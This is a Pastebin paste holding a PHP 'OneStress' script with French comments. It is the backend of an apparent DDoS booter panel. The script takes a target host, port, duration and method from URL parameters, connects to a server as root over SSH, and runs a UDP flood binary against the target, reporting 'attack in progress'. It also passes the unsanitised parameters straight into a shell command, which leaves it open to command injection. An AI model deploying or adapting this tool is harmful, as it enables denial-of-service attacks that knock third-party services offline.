Advertisement
Oussama28

Untitled

Apr 6th, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.77 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4.  
  5.  
  6. // ###################
  7. // # #********** # # //
  8. // # # OneStress # # //
  9. // # # # # //
  10. // # # # # //
  11. // # #************ # //
  12. // # # //
  13. // ######## ######## //
  14.  
  15. //debut de la config
  16. $server_ip = "IP SERVER"; //Changer avec l'IP de votre serveur
  17. $server_pass = "MDP"; //Changer avec le mot de passe de votre serveur
  18. $server_user = "root"; //Changer uniquement si vous n'avez pas accès au root
  19. //fin de la config
  20.  
  21. $host = $_GET['host'];
  22. $port = $_GET['port'];
  23. $time = $_GET['time'];
  24. $method = strtoupper($_GET['method']);
  25.  
  26. if ($method == "REBOOT") {
  27. $command = "reboot";
  28. }
  29. if ($method == "UDP") {
  30. $command = "./udp ".$host." ".$port." 1024 ".$time;
  31. }
  32.  
  33. if (!function_exists("ssh2_connect")) die("La fonction ssh2 n'est pas installée.");
  34.  
  35. if(!($con = ssh2_connect($server_ip, 22))){
  36. echo htmlspecialchars("Probleme de connexion.");
  37. } else {
  38.  
  39. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  40. echo htmlspecialchars("Erreur ssh2: utilisateur ou mot de passe incorrecte");
  41. } else {
  42.  
  43. if (!($stream = ssh2_exec($con, $command ))) {
  44. echo htmlspecialchars("Impossible d'executée la commande.");
  45. } else {
  46.  
  47. stream_set_blocking($stream, true);
  48. $data = "";
  49. while ($buf = fread($stream,4096)) {
  50. $data .= $buf;
  51. }
  52. echo htmlspecialchars("Attaque en cours sur ".$host." avec le port ".$port." pour ".$time." secondes en ".$method);
  53. fclose($stream);
  54. }
  55. }
  56. }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement